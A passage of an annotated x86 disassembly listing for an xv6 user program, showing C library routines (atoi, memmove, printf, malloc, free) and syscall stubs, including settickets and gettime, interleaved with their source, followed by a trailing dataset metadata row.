29a: ff 75 f4 pushl -0xc(%ebp)
29d: e8 03 01 00 00 call 3a5 <fstat>
2a2: 83 c4 10 add $0x10,%esp
2a5: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
2a8: 83 ec 0c sub $0xc,%esp
2ab: ff 75 f4 pushl -0xc(%ebp)
2ae: e8 c2 00 00 00 call 375 <close>
2b3: 83 c4 10 add $0x10,%esp
return r;
2b6: 8b 45 f0 mov -0x10(%ebp),%eax
}
2b9: c9 leave
2ba: c3 ret
000002bb <atoi>:
int
atoi(const char *s)
{
2bb: 55 push %ebp
2bc: 89 e5 mov %esp,%ebp
2be: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
2c1: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
2c8: eb 25 jmp 2ef <atoi+0x34>
n = n*10 + *s++ - '0';
2ca: 8b 55 fc mov -0x4(%ebp),%edx
2cd: 89 d0 mov %edx,%eax
2cf: c1 e0 02 shl $0x2,%eax
2d2: 01 d0 add %edx,%eax
2d4: 01 c0 add %eax,%eax
2d6: 89 c1 mov %eax,%ecx
2d8: 8b 45 08 mov 0x8(%ebp),%eax
2db: 8d 50 01 lea 0x1(%eax),%edx
2de: 89 55 08 mov %edx,0x8(%ebp)
2e1: 0f b6 00 movzbl (%eax),%eax
2e4: 0f be c0 movsbl %al,%eax
2e7: 01 c8 add %ecx,%eax
2e9: 83 e8 30 sub $0x30,%eax
2ec: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
2ef: 8b 45 08 mov 0x8(%ebp),%eax
2f2: 0f b6 00 movzbl (%eax),%eax
2f5: 3c 2f cmp $0x2f,%al
2f7: 7e 0a jle 303 <atoi+0x48>
2f9: 8b 45 08 mov 0x8(%ebp),%eax
2fc: 0f b6 00 movzbl (%eax),%eax
2ff: 3c 39 cmp $0x39,%al
301: 7e c7 jle 2ca <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
303: 8b 45 fc mov -0x4(%ebp),%eax
}
306: c9 leave
307: c3 ret
00000308 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
308: 55 push %ebp
309: 89 e5 mov %esp,%ebp
30b: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
30e: 8b 45 08 mov 0x8(%ebp),%eax
311: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
314: 8b 45 0c mov 0xc(%ebp),%eax
317: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
31a: eb 17 jmp 333 <memmove+0x2b>
*dst++ = *src++;
31c: 8b 45 fc mov -0x4(%ebp),%eax
31f: 8d 50 01 lea 0x1(%eax),%edx
322: 89 55 fc mov %edx,-0x4(%ebp)
325: 8b 55 f8 mov -0x8(%ebp),%edx
328: 8d 4a 01 lea 0x1(%edx),%ecx
32b: 89 4d f8 mov %ecx,-0x8(%ebp)
32e: 0f b6 12 movzbl (%edx),%edx
331: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
333: 8b 45 10 mov 0x10(%ebp),%eax
336: 8d 50 ff lea -0x1(%eax),%edx
339: 89 55 10 mov %edx,0x10(%ebp)
33c: 85 c0 test %eax,%eax
33e: 7f dc jg 31c <memmove+0x14>
*dst++ = *src++;
return vdst;
340: 8b 45 08 mov 0x8(%ebp),%eax
}
343: c9 leave
344: c3 ret
00000345 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
345: b8 01 00 00 00 mov $0x1,%eax
34a: cd 40 int $0x40
34c: c3 ret
0000034d <exit>:
SYSCALL(exit)
34d: b8 02 00 00 00 mov $0x2,%eax
352: cd 40 int $0x40
354: c3 ret
00000355 <wait>:
SYSCALL(wait)
355: b8 03 00 00 00 mov $0x3,%eax
35a: cd 40 int $0x40
35c: c3 ret
0000035d <pipe>:
SYSCALL(pipe)
35d: b8 04 00 00 00 mov $0x4,%eax
362: cd 40 int $0x40
364: c3 ret
00000365 <read>:
SYSCALL(read)
365: b8 05 00 00 00 mov $0x5,%eax
36a: cd 40 int $0x40
36c: c3 ret
0000036d <write>:
SYSCALL(write)
36d: b8 10 00 00 00 mov $0x10,%eax
372: cd 40 int $0x40
374: c3 ret
00000375 <close>:
SYSCALL(close)
375: b8 15 00 00 00 mov $0x15,%eax
37a: cd 40 int $0x40
37c: c3 ret
0000037d <kill>:
SYSCALL(kill)
37d: b8 06 00 00 00 mov $0x6,%eax
382: cd 40 int $0x40
384: c3 ret
00000385 <exec>:
SYSCALL(exec)
385: b8 07 00 00 00 mov $0x7,%eax
38a: cd 40 int $0x40
38c: c3 ret
0000038d <open>:
SYSCALL(open)
38d: b8 0f 00 00 00 mov $0xf,%eax
392: cd 40 int $0x40
394: c3 ret
00000395 <mknod>:
SYSCALL(mknod)
395: b8 11 00 00 00 mov $0x11,%eax
39a: cd 40 int $0x40
39c: c3 ret
0000039d <unlink>:
SYSCALL(unlink)
39d: b8 12 00 00 00 mov $0x12,%eax
3a2: cd 40 int $0x40
3a4: c3 ret
000003a5 <fstat>:
SYSCALL(fstat)
3a5: b8 08 00 00 00 mov $0x8,%eax
3aa: cd 40 int $0x40
3ac: c3 ret
000003ad <link>:
SYSCALL(link)
3ad: b8 13 00 00 00 mov $0x13,%eax
3b2: cd 40 int $0x40
3b4: c3 ret
000003b5 <mkdir>:
SYSCALL(mkdir)
3b5: b8 14 00 00 00 mov $0x14,%eax
3ba: cd 40 int $0x40
3bc: c3 ret
000003bd <chdir>:
SYSCALL(chdir)
3bd: b8 09 00 00 00 mov $0x9,%eax
3c2: cd 40 int $0x40
3c4: c3 ret
000003c5 <dup>:
SYSCALL(dup)
3c5: b8 0a 00 00 00 mov $0xa,%eax
3ca: cd 40 int $0x40
3cc: c3 ret
000003cd <getpid>:
SYSCALL(getpid)
3cd: b8 0b 00 00 00 mov $0xb,%eax
3d2: cd 40 int $0x40
3d4: c3 ret
000003d5 <sbrk>:
SYSCALL(sbrk)
3d5: b8 0c 00 00 00 mov $0xc,%eax
3da: cd 40 int $0x40
3dc: c3 ret
000003dd <sleep>:
SYSCALL(sleep)
3dd: b8 0d 00 00 00 mov $0xd,%eax
3e2: cd 40 int $0x40
3e4: c3 ret
000003e5 <uptime>:
SYSCALL(uptime)
3e5: b8 0e 00 00 00 mov $0xe,%eax
3ea: cd 40 int $0x40
3ec: c3 ret
000003ed <settickets>:
SYSCALL(settickets)
3ed: b8 16 00 00 00 mov $0x16,%eax
3f2: cd 40 int $0x40
3f4: c3 ret
000003f5 <gettime>:
3f5: b8 17 00 00 00 mov $0x17,%eax
3fa: cd 40 int $0x40
3fc: c3 ret
000003fd <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
3fd: 55 push %ebp
3fe: 89 e5 mov %esp,%ebp
400: 83 ec 18 sub $0x18,%esp
403: 8b 45 0c mov 0xc(%ebp),%eax
406: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
409: 83 ec 04 sub $0x4,%esp
40c: 6a 01 push $0x1
40e: 8d 45 f4 lea -0xc(%ebp),%eax
411: 50 push %eax
412: ff 75 08 pushl 0x8(%ebp)
415: e8 53 ff ff ff call 36d <write>
41a: 83 c4 10 add $0x10,%esp
}
41d: 90 nop
41e: c9 leave
41f: c3 ret
00000420 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
420: 55 push %ebp
421: 89 e5 mov %esp,%ebp
423: 53 push %ebx
424: 83 ec 24 sub $0x24,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
427: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
42e: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
432: 74 17 je 44b <printint+0x2b>
434: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
438: 79 11 jns 44b <printint+0x2b>
neg = 1;
43a: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
441: 8b 45 0c mov 0xc(%ebp),%eax
444: f7 d8 neg %eax
446: 89 45 ec mov %eax,-0x14(%ebp)
449: eb 06 jmp 451 <printint+0x31>
} else {
x = xx;
44b: 8b 45 0c mov 0xc(%ebp),%eax
44e: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
451: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
458: 8b 4d f4 mov -0xc(%ebp),%ecx
45b: 8d 41 01 lea 0x1(%ecx),%eax
45e: 89 45 f4 mov %eax,-0xc(%ebp)
461: 8b 5d 10 mov 0x10(%ebp),%ebx
464: 8b 45 ec mov -0x14(%ebp),%eax
467: ba 00 00 00 00 mov $0x0,%edx
46c: f7 f3 div %ebx
46e: 89 d0 mov %edx,%eax
470: 0f b6 80 6c 0b 00 00 movzbl 0xb6c(%eax),%eax
477: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
47b: 8b 5d 10 mov 0x10(%ebp),%ebx
47e: 8b 45 ec mov -0x14(%ebp),%eax
481: ba 00 00 00 00 mov $0x0,%edx
486: f7 f3 div %ebx
488: 89 45 ec mov %eax,-0x14(%ebp)
48b: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
48f: 75 c7 jne 458 <printint+0x38>
if(neg)
491: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
495: 74 2d je 4c4 <printint+0xa4>
buf[i++] = '-';
497: 8b 45 f4 mov -0xc(%ebp),%eax
49a: 8d 50 01 lea 0x1(%eax),%edx
49d: 89 55 f4 mov %edx,-0xc(%ebp)
4a0: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
4a5: eb 1d jmp 4c4 <printint+0xa4>
putc(fd, buf[i]);
4a7: 8d 55 dc lea -0x24(%ebp),%edx
4aa: 8b 45 f4 mov -0xc(%ebp),%eax
4ad: 01 d0 add %edx,%eax
4af: 0f b6 00 movzbl (%eax),%eax
4b2: 0f be c0 movsbl %al,%eax
4b5: 83 ec 08 sub $0x8,%esp
4b8: 50 push %eax
4b9: ff 75 08 pushl 0x8(%ebp)
4bc: e8 3c ff ff ff call 3fd <putc>
4c1: 83 c4 10 add $0x10,%esp
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
4c4: 83 6d f4 01 subl $0x1,-0xc(%ebp)
4c8: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
4cc: 79 d9 jns 4a7 <printint+0x87>
putc(fd, buf[i]);
}
4ce: 90 nop
4cf: 8b 5d fc mov -0x4(%ebp),%ebx
4d2: c9 leave
4d3: c3 ret
000004d4 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
4d4: 55 push %ebp
4d5: 89 e5 mov %esp,%ebp
4d7: 83 ec 28 sub $0x28,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
4da: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
4e1: 8d 45 0c lea 0xc(%ebp),%eax
4e4: 83 c0 04 add $0x4,%eax
4e7: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
4ea: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
4f1: e9 59 01 00 00 jmp 64f <printf+0x17b>
c = fmt[i] & 0xff;
4f6: 8b 55 0c mov 0xc(%ebp),%edx
4f9: 8b 45 f0 mov -0x10(%ebp),%eax
4fc: 01 d0 add %edx,%eax
4fe: 0f b6 00 movzbl (%eax),%eax
501: 0f be c0 movsbl %al,%eax
504: 25 ff 00 00 00 and $0xff,%eax
509: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
50c: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
510: 75 2c jne 53e <printf+0x6a>
if(c == '%'){
512: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
516: 75 0c jne 524 <printf+0x50>
state = '%';
518: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
51f: e9 27 01 00 00 jmp 64b <printf+0x177>
} else {
putc(fd, c);
524: 8b 45 e4 mov -0x1c(%ebp),%eax
527: 0f be c0 movsbl %al,%eax
52a: 83 ec 08 sub $0x8,%esp
52d: 50 push %eax
52e: ff 75 08 pushl 0x8(%ebp)
531: e8 c7 fe ff ff call 3fd <putc>
536: 83 c4 10 add $0x10,%esp
539: e9 0d 01 00 00 jmp 64b <printf+0x177>
}
} else if(state == '%'){
53e: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
542: 0f 85 03 01 00 00 jne 64b <printf+0x177>
if(c == 'd'){
548: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
54c: 75 1e jne 56c <printf+0x98>
printint(fd, *ap, 10, 1);
54e: 8b 45 e8 mov -0x18(%ebp),%eax
551: 8b 00 mov (%eax),%eax
553: 6a 01 push $0x1
555: 6a 0a push $0xa
557: 50 push %eax
558: ff 75 08 pushl 0x8(%ebp)
55b: e8 c0 fe ff ff call 420 <printint>
560: 83 c4 10 add $0x10,%esp
ap++;
563: 83 45 e8 04 addl $0x4,-0x18(%ebp)
567: e9 d8 00 00 00 jmp 644 <printf+0x170>
} else if(c == 'x' || c == 'p'){
56c: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
570: 74 06 je 578 <printf+0xa4>
572: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
576: 75 1e jne 596 <printf+0xc2>
printint(fd, *ap, 16, 0);
578: 8b 45 e8 mov -0x18(%ebp),%eax
57b: 8b 00 mov (%eax),%eax
57d: 6a 00 push $0x0
57f: 6a 10 push $0x10
581: 50 push %eax
582: ff 75 08 pushl 0x8(%ebp)
585: e8 96 fe ff ff call 420 <printint>
58a: 83 c4 10 add $0x10,%esp
ap++;
58d: 83 45 e8 04 addl $0x4,-0x18(%ebp)
591: e9 ae 00 00 00 jmp 644 <printf+0x170>
} else if(c == 's'){
596: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
59a: 75 43 jne 5df <printf+0x10b>
s = (char*)*ap;
59c: 8b 45 e8 mov -0x18(%ebp),%eax
59f: 8b 00 mov (%eax),%eax
5a1: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
5a4: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
5a8: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
5ac: 75 25 jne 5d3 <printf+0xff>
s = "(null)";
5ae: c7 45 f4 fd 08 00 00 movl $0x8fd,-0xc(%ebp)
while(*s != 0){
5b5: eb 1c jmp 5d3 <printf+0xff>
putc(fd, *s);
5b7: 8b 45 f4 mov -0xc(%ebp),%eax
5ba: 0f b6 00 movzbl (%eax),%eax
5bd: 0f be c0 movsbl %al,%eax
5c0: 83 ec 08 sub $0x8,%esp
5c3: 50 push %eax
5c4: ff 75 08 pushl 0x8(%ebp)
5c7: e8 31 fe ff ff call 3fd <putc>
5cc: 83 c4 10 add $0x10,%esp
s++;
5cf: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
5d3: 8b 45 f4 mov -0xc(%ebp),%eax
5d6: 0f b6 00 movzbl (%eax),%eax
5d9: 84 c0 test %al,%al
5db: 75 da jne 5b7 <printf+0xe3>
5dd: eb 65 jmp 644 <printf+0x170>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
5df: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
5e3: 75 1d jne 602 <printf+0x12e>
putc(fd, *ap);
5e5: 8b 45 e8 mov -0x18(%ebp),%eax
5e8: 8b 00 mov (%eax),%eax
5ea: 0f be c0 movsbl %al,%eax
5ed: 83 ec 08 sub $0x8,%esp
5f0: 50 push %eax
5f1: ff 75 08 pushl 0x8(%ebp)
5f4: e8 04 fe ff ff call 3fd <putc>
5f9: 83 c4 10 add $0x10,%esp
ap++;
5fc: 83 45 e8 04 addl $0x4,-0x18(%ebp)
600: eb 42 jmp 644 <printf+0x170>
} else if(c == '%'){
602: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
606: 75 17 jne 61f <printf+0x14b>
putc(fd, c);
608: 8b 45 e4 mov -0x1c(%ebp),%eax
60b: 0f be c0 movsbl %al,%eax
60e: 83 ec 08 sub $0x8,%esp
611: 50 push %eax
612: ff 75 08 pushl 0x8(%ebp)
615: e8 e3 fd ff ff call 3fd <putc>
61a: 83 c4 10 add $0x10,%esp
61d: eb 25 jmp 644 <printf+0x170>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
61f: 83 ec 08 sub $0x8,%esp
622: 6a 25 push $0x25
624: ff 75 08 pushl 0x8(%ebp)
627: e8 d1 fd ff ff call 3fd <putc>
62c: 83 c4 10 add $0x10,%esp
putc(fd, c);
62f: 8b 45 e4 mov -0x1c(%ebp),%eax
632: 0f be c0 movsbl %al,%eax
635: 83 ec 08 sub $0x8,%esp
638: 50 push %eax
639: ff 75 08 pushl 0x8(%ebp)
63c: e8 bc fd ff ff call 3fd <putc>
641: 83 c4 10 add $0x10,%esp
}
state = 0;
644: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
64b: 83 45 f0 01 addl $0x1,-0x10(%ebp)
64f: 8b 55 0c mov 0xc(%ebp),%edx
652: 8b 45 f0 mov -0x10(%ebp),%eax
655: 01 d0 add %edx,%eax
657: 0f b6 00 movzbl (%eax),%eax
65a: 84 c0 test %al,%al
65c: 0f 85 94 fe ff ff jne 4f6 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
662: 90 nop
663: c9 leave
664: c3 ret
00000665 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
665: 55 push %ebp
666: 89 e5 mov %esp,%ebp
668: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
66b: 8b 45 08 mov 0x8(%ebp),%eax
66e: 83 e8 08 sub $0x8,%eax
671: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
674: a1 88 0b 00 00 mov 0xb88,%eax
679: 89 45 fc mov %eax,-0x4(%ebp)
67c: eb 24 jmp 6a2 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
67e: 8b 45 fc mov -0x4(%ebp),%eax
681: 8b 00 mov (%eax),%eax
683: 3b 45 fc cmp -0x4(%ebp),%eax
686: 77 12 ja 69a <free+0x35>
688: 8b 45 f8 mov -0x8(%ebp),%eax
68b: 3b 45 fc cmp -0x4(%ebp),%eax
68e: 77 24 ja 6b4 <free+0x4f>
690: 8b 45 fc mov -0x4(%ebp),%eax
693: 8b 00 mov (%eax),%eax
695: 3b 45 f8 cmp -0x8(%ebp),%eax
698: 77 1a ja 6b4 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
69a: 8b 45 fc mov -0x4(%ebp),%eax
69d: 8b 00 mov (%eax),%eax
69f: 89 45 fc mov %eax,-0x4(%ebp)
6a2: 8b 45 f8 mov -0x8(%ebp),%eax
6a5: 3b 45 fc cmp -0x4(%ebp),%eax
6a8: 76 d4 jbe 67e <free+0x19>
6aa: 8b 45 fc mov -0x4(%ebp),%eax
6ad: 8b 00 mov (%eax),%eax
6af: 3b 45 f8 cmp -0x8(%ebp),%eax
6b2: 76 ca jbe 67e <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
6b4: 8b 45 f8 mov -0x8(%ebp),%eax
6b7: 8b 40 04 mov 0x4(%eax),%eax
6ba: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
6c1: 8b 45 f8 mov -0x8(%ebp),%eax
6c4: 01 c2 add %eax,%edx
6c6: 8b 45 fc mov -0x4(%ebp),%eax
6c9: 8b 00 mov (%eax),%eax
6cb: 39 c2 cmp %eax,%edx
6cd: 75 24 jne 6f3 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
6cf: 8b 45 f8 mov -0x8(%ebp),%eax
6d2: 8b 50 04 mov 0x4(%eax),%edx
6d5: 8b 45 fc mov -0x4(%ebp),%eax
6d8: 8b 00 mov (%eax),%eax
6da: 8b 40 04 mov 0x4(%eax),%eax
6dd: 01 c2 add %eax,%edx
6df: 8b 45 f8 mov -0x8(%ebp),%eax
6e2: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
6e5: 8b 45 fc mov -0x4(%ebp),%eax
6e8: 8b 00 mov (%eax),%eax
6ea: 8b 10 mov (%eax),%edx
6ec: 8b 45 f8 mov -0x8(%ebp),%eax
6ef: 89 10 mov %edx,(%eax)
6f1: eb 0a jmp 6fd <free+0x98>
} else
bp->s.ptr = p->s.ptr;
6f3: 8b 45 fc mov -0x4(%ebp),%eax
6f6: 8b 10 mov (%eax),%edx
6f8: 8b 45 f8 mov -0x8(%ebp),%eax
6fb: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
6fd: 8b 45 fc mov -0x4(%ebp),%eax
700: 8b 40 04 mov 0x4(%eax),%eax
703: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
70a: 8b 45 fc mov -0x4(%ebp),%eax
70d: 01 d0 add %edx,%eax
70f: 3b 45 f8 cmp -0x8(%ebp),%eax
712: 75 20 jne 734 <free+0xcf>
p->s.size += bp->s.size;
714: 8b 45 fc mov -0x4(%ebp),%eax
717: 8b 50 04 mov 0x4(%eax),%edx
71a: 8b 45 f8 mov -0x8(%ebp),%eax
71d: 8b 40 04 mov 0x4(%eax),%eax
720: 01 c2 add %eax,%edx
722: 8b 45 fc mov -0x4(%ebp),%eax
725: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
728: 8b 45 f8 mov -0x8(%ebp),%eax
72b: 8b 10 mov (%eax),%edx
72d: 8b 45 fc mov -0x4(%ebp),%eax
730: 89 10 mov %edx,(%eax)
732: eb 08 jmp 73c <free+0xd7>
} else
p->s.ptr = bp;
734: 8b 45 fc mov -0x4(%ebp),%eax
737: 8b 55 f8 mov -0x8(%ebp),%edx
73a: 89 10 mov %edx,(%eax)
freep = p;
73c: 8b 45 fc mov -0x4(%ebp),%eax
73f: a3 88 0b 00 00 mov %eax,0xb88
}
744: 90 nop
745: c9 leave
746: c3 ret
00000747 <morecore>:
static Header*
morecore(uint nu)
{
747: 55 push %ebp
748: 89 e5 mov %esp,%ebp
74a: 83 ec 18 sub $0x18,%esp
char *p;
Header *hp;
if(nu < 4096)
74d: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
754: 77 07 ja 75d <morecore+0x16>
nu = 4096;
756: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
75d: 8b 45 08 mov 0x8(%ebp),%eax
760: c1 e0 03 shl $0x3,%eax
763: 83 ec 0c sub $0xc,%esp
766: 50 push %eax
767: e8 69 fc ff ff call 3d5 <sbrk>
76c: 83 c4 10 add $0x10,%esp
76f: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
772: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
776: 75 07 jne 77f <morecore+0x38>
return 0;
778: b8 00 00 00 00 mov $0x0,%eax
77d: eb 26 jmp 7a5 <morecore+0x5e>
hp = (Header*)p;
77f: 8b 45 f4 mov -0xc(%ebp),%eax
782: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
785: 8b 45 f0 mov -0x10(%ebp),%eax
788: 8b 55 08 mov 0x8(%ebp),%edx
78b: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
78e: 8b 45 f0 mov -0x10(%ebp),%eax
791: 83 c0 08 add $0x8,%eax
794: 83 ec 0c sub $0xc,%esp
797: 50 push %eax
798: e8 c8 fe ff ff call 665 <free>
79d: 83 c4 10 add $0x10,%esp
return freep;
7a0: a1 88 0b 00 00 mov 0xb88,%eax
}
7a5: c9 leave
7a6: c3 ret
000007a7 <malloc>:
void*
malloc(uint nbytes)
{
7a7: 55 push %ebp
7a8: 89 e5 mov %esp,%ebp
7aa: 83 ec 18 sub $0x18,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
7ad: 8b 45 08 mov 0x8(%ebp),%eax
7b0: 83 c0 07 add $0x7,%eax
7b3: c1 e8 03 shr $0x3,%eax
7b6: 83 c0 01 add $0x1,%eax
7b9: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
7bc: a1 88 0b 00 00 mov 0xb88,%eax
7c1: 89 45 f0 mov %eax,-0x10(%ebp)
7c4: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
7c8: 75 23 jne 7ed <malloc+0x46>
base.s.ptr = freep = prevp = &base;
7ca: c7 45 f0 80 0b 00 00 movl $0xb80,-0x10(%ebp)
7d1: 8b 45 f0 mov -0x10(%ebp),%eax
7d4: a3 88 0b 00 00 mov %eax,0xb88
7d9: a1 88 0b 00 00 mov 0xb88,%eax
7de: a3 80 0b 00 00 mov %eax,0xb80
base.s.size = 0;
7e3: c7 05 84 0b 00 00 00 movl $0x0,0xb84
7ea: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
7ed: 8b 45 f0 mov -0x10(%ebp),%eax
7f0: 8b 00 mov (%eax),%eax
7f2: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
7f5: 8b 45 f4 mov -0xc(%ebp),%eax
7f8: 8b 40 04 mov 0x4(%eax),%eax
7fb: 3b 45 ec cmp -0x14(%ebp),%eax
7fe: 72 4d jb 84d <malloc+0xa6>
if(p->s.size == nunits)
800: 8b 45 f4 mov -0xc(%ebp),%eax
803: 8b 40 04 mov 0x4(%eax),%eax
806: 3b 45 ec cmp -0x14(%ebp),%eax
809: 75 0c jne 817 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
80b: 8b 45 f4 mov -0xc(%ebp),%eax
80e: 8b 10 mov (%eax),%edx
810: 8b 45 f0 mov -0x10(%ebp),%eax
813: 89 10 mov %edx,(%eax)
815: eb 26 jmp 83d <malloc+0x96>
else {
p->s.size -= nunits;
817: 8b 45 f4 mov -0xc(%ebp),%eax
81a: 8b 40 04 mov 0x4(%eax),%eax
81d: 2b 45 ec sub -0x14(%ebp),%eax
820: 89 c2 mov %eax,%edx
822: 8b 45 f4 mov -0xc(%ebp),%eax
825: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
828: 8b 45 f4 mov -0xc(%ebp),%eax
82b: 8b 40 04 mov 0x4(%eax),%eax
82e: c1 e0 03 shl $0x3,%eax
831: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
834: 8b 45 f4 mov -0xc(%ebp),%eax
837: 8b 55 ec mov -0x14(%ebp),%edx
83a: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
83d: 8b 45 f0 mov -0x10(%ebp),%eax
840: a3 88 0b 00 00 mov %eax,0xb88
return (void*)(p + 1);
845: 8b 45 f4 mov -0xc(%ebp),%eax
848: 83 c0 08 add $0x8,%eax
84b: eb 3b jmp 888 <malloc+0xe1>
}
if(p == freep)
84d: a1 88 0b 00 00 mov 0xb88,%eax
852: 39 45 f4 cmp %eax,-0xc(%ebp)
855: 75 1e jne 875 <malloc+0xce>
if((p = morecore(nunits)) == 0)
857: 83 ec 0c sub $0xc,%esp
85a: ff 75 ec pushl -0x14(%ebp)
85d: e8 e5 fe ff ff call 747 <morecore>
862: 83 c4 10 add $0x10,%esp
865: 89 45 f4 mov %eax,-0xc(%ebp)
868: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
86c: 75 07 jne 875 <malloc+0xce>
return 0;
86e: b8 00 00 00 00 mov $0x0,%eax
873: eb 13 jmp 888 <malloc+0xe1>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
875: 8b 45 f4 mov -0xc(%ebp),%eax
878: 89 45 f0 mov %eax,-0x10(%ebp)
87b: 8b 45 f4 mov -0xc(%ebp),%eax
87e: 8b 00 mov (%eax),%eax
880: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
883: e9 6d ff ff ff jmp 7f5 <malloc+0x4e>
}
888: c9 leave
889: c3 ret
| 34.387072 | 119 | 0.42355 |
523c1fafad86a5a72a37c03a64a9ac4679c1494d | 437 | asm | Assembly | oeis/028/A028189.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/028/A028189.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/028/A028189.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
